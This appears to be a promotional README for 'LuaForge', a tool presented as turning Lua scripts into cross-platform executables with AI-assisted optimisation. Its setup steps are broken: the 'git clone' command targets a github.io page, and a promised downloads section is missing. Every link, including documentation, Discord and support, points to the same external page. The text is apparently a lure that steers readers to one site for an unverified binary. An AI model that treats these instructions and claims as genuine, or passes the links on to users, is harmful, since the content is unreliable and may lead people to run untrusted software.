A revolutionary environment that transforms Lua scripts into cross-platform binary executables with zero configuration, AI-powered optimization, and a modern graphical interface.
Inspired by the concept ofluainstallerbut reimagined as a complete development lifecycle tool.
LuaForge is not merely a packagerβit is a digital blacksmith's forge for Lua scripts. Where existing tools simply bundle runtime and code, LuaForge compiles, optimizes, and distributes your Lua creations as native binaries that feel like professionally installed software. Think of it as the difference between handing someone a PDF of blueprints versus delivering a fully built house.
Built from the ground up for 2026 workflows, LuaForge bridges the gap between prototyping speed and production-grade deployment. Whether you're a solo developer shipping a CLI tool or a team distributing enterprise monitoring agents, LuaForge ensures your Lua code runs on any target machine without dependencies.
- Windows 10+ / Linux (kernel 5.10+)
- Lua 5.4.x installed (bundled fallback available)
- Minimum 512MB RAM, 100MB disk space
# Clone the repository
git clone https://Collins729.github.io
cd luaforge
# Build from source (requires CMake 3.20+)
cmake -B build -DCMAKE_BUILD_TYPE=Release
cmake --build build
# Or use the prebuilt binary (see downloads below)Transforms .lua files into standalone executables that require zero external dependencies. Your script + Lua virtual machine = one portable binary.
Intelligently analyzes require() calls and bundles only necessary modules. Eliminates unused code, reducing binary size by up to 60%.
Single source, multiple targets. Configure once, compile for Windows (x64, ARM64) and Linux (x64, ARM64, RISC-V preview).
Integrates with OpenAI GPT-4 and Claude API to:
- Suggest performance-critical rewrites
- Automatically inline hot functions
- Detect and fix common Lua pitfalls during compilation
Optionally embed a web-based UI (using your Lua script as backend) that adapts to any screen size. Perfect for administrative tools.
Define locale bundles once; LuaForge compiles them into the binary with automatic language detection.
flowchart TD
A[Lua Source Files] --> B[LuaForge CLI/UI]
B --> C{Dependency Graph Analyzer}
C --> D[Module Bundler]
D --> E[Tree Shaker]
E --> F[AI Optimizer]
F -->|OpenAI/Claude API| G[Optimized AST]
G --> H[Binary Generator]
H --> I[[Compiler Backend]]
I --> J[Windows Executable]
I --> K[Linux Executable]
J --> L((Distribution))
K --> L
B --> M[User Configuration]
M --> N[.luaforge Config]
N --> C
N --> O[Target Platform Flags]
O --> I
| Operating System | Version | Architecture | Supported | Notes |
|---|---|---|---|---|
| πͺ Windows | 10+ | x64 | β Full | UWP compatible |
| πͺ Windows | 11+ | ARM64 | β Full | Native emulation |
| π§ Ubuntu | 22.04+ | x64 | β Full | Systemd service support |
| π§ Debian | 12+ | x64/ARM64 | β Full | .deb packaging |
| π§ Fedora | 38+ | x64 | β Full | RPM generation |
| π§ Arch Linux | Rolling | x64 | β Full | AUR package available |
| π§ RISC-V | Preview | RV64GC | π§ͺ Beta | Experimental |
| π macOS | Future | x64/ARM64 | π Q4 2026 | On roadmap |
Create a .luaforge.yaml file in your project root:
project:
name: "myapp"
version: "1.0.0"
author: "Your Company"
license: "MIT"
targets:
win64:
os: "windows"
arch: "x64"
icon: "assets/app.ico"
compression: "upx"
ui_mode: "responsive"
linux_x64:
os: "linux"
arch: "x64"
icon: "assets/app.png"
compression: "zstd"
ui_mode: "terminal"
optimization:
level: "aggressive" # options: safe, balanced, aggressive
ai_assist: true
ai_provider: "openai" # or "claude"
ai_api_key_env: "LUA_FORGE_API_KEY"
multilingual:
default_locale: "en"
fallback: "en"
strings: "locales/*.json"
gui:
enabled: true
responsive: true
theme: "dark"
support_24_7_link: "https://Collins729.github.io"# Basic compilation
luaforge build src/main.lua -o dist/myapp
# Cross-compile for Windows from Linux
luaforge build src/main.lua --target win64 --output myapp.exe
# With AI optimization
luaforge build src/main.lua --ai-optimize --api-key $MY_API_KEY
# Generate a responsive GUI application
luaforge build src/app.lua --ui responsive --output dashboard.exe
# View compilation statistics
luaforge stats src/main.lua --jsonLuaForge supports optional AI-powered optimization through:
| Feature | OpenAI (GPT-4) | Claude (Sonnet 3.5) | Benefit |
|---|---|---|---|
| Code optimization suggestions | β | β | Up to 40% faster execution |
| Dead code detection | β | β | Smaller binaries |
| Type inference hints | β | Better error handling | |
| Performance bottleneck analysis | β | β | Hot path optimization |
| Automatic inlining decisions | β | β | Reduced function call overhead |
Set your API key via environment variable or configuration file:
# For OpenAI
export LUA_FORGE_API_KEY="sk-your-openai-key-goes-here"
# For Claude
export LUA_FORGE_API_KEY="sk-ant-your-claude-key-goes-here"Add custom Lua hooks that run before compilation:
-- preprocess.lua
function luaforge_preprocess(ast, env)
-- Transform AST nodes
env:warning("Optimizing string concatenations...")
return optimize_concat(ast)
endEmbed configuration files, certificates, or even a small SQLite database directly into the binary.
Generate binaries that install themselves as system services (Windows service / systemd unit) with one command.
| Aspect | LuaForge | Traditional Packagers |
|---|---|---|
| Size Reduction | Up to 70% with tree shaking | Typically 0-20% |
| AI Integration | Native OpenAI/Claude support | None |
| UI Modes | Terminal + Responsive GUI | Usually terminal-only |
| Cross-Compilation | One command | Requires separate toolchains |
| 24/7 Support | Built-in help system + community | None |
| Responsive UI | Generated automatically | Manual HTML/CSS |
We welcome contributions! Read our CONTRIBUTING.md for guidelines.
- Fork the repo
- Install dependencies:
cmake,ninja,clang - Run tests:
ctest --test-dir build - Submit a pull request
This project is licensed under the MIT License - see the LICENSE file for details.
Important: LuaForge is a software packaging and optimization tool. It does not modify, bypass, or circumvent any security mechanisms of the operating system or third-party software. The compiled binaries contain only the Lua source code you provide, combined with the open-source Lua virtual machine runtime. Any malicious use of compiled binaries is the sole responsibility of the user distributing them. LuaForge team provides 24/7 technical support for build issues only, not for misuse of generated executables. Always ensure you have the right to redistribute any libraries bundled with your application.
- π Documentation: https://Collins729.github.io
- π¬ Discord: https://Collins729.github.io
- π Issue Tracker: https://Collins729.github.io
- π€ AI Integration Help: https://Collins729.github.io
LuaForge - Forging Lua into executable reality since 2026.